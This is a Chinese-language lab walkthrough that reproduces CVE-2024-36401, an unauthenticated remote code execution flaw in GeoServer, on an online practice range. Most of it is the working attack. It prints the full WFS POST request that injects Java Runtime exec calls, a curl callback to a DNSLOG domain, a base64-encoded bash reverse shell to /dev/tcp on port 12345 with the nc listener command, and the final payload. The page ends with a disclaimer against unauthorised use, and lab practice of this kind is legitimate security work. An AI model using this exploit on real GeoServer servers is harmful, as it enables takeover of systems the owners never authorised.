【靶机实战】GeoServer 远程代码执行漏洞复现

在线靶场

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> GeoServer-远程代码执行

简介

CVE-2024-36401是一个高危的远程代码执行漏洞,存在于GeoServer软件中。GeoServer是一个用Java编写的开源服务器,用于共享和编辑地理空间数据。该漏洞允许未经身份验证的远程攻击者通过构造特定的请求,在服务器上执行任意代码,从而可能获取服务器的控制权。这个漏洞在2024年7月2日被公开,影响多个版本的GeoServer,包括2.24.0至2.24.3以及2.25.0至2.25.1。

漏洞复现

打开靶场首页,访问URL:URL/geoserver,例如:http://192.168.1.1/geoserver, 访问geoserver系统首页

图片[1] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

打开DNSLOG平台,生成一个临时域名后备用。

图片[2] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

利用下面的POC数据包,使用BurpSuite或者Yakit这类软件进行数据包重放,记得替换Host为自己目标,然后查看数据包中的字段:valueReference=’exec(java.lang.Runtime.getRuntime(),”curl mnvmmj.dnslog.cn“)’>,其中curl mnvmmj.dnslog.cn就是执行的命令,将里面的域名替换为自己的DNSLOG域名,然后发包后查看DNSLOG平台的回显。

POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:57150
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl mnvmmj.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
图片[3] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

通过DNSLOG平台可以看到回显,说明此处可以命令执行。但是JAVA的EXEC执行命令会有些困难,不可以直接输入反弹Shell命令,我们精心构造一下Payload:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

这是一串shell命令,需要我们将YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,例如改为:bash -i >& /dev/tcp/192.168.1.2/12345 0>&1,然后base64编码一下:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx,最终执行命令的Payload为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}

在我们的接收反弹Shell的机器上开启NC监听、端口为12345,命令:nc -lvp 12345,然后通过重放数据包,将我们刚才构造的Payload替换到数据包里面,发送数据包。

POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:57150
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

然后查看接收反弹Shell的机器,发现目标的Shell已经成功反弹过来了

图片[4] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  网站运营艰难(亏损严重),以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞88 分享
茶谈区 共2条

请登录后发表评论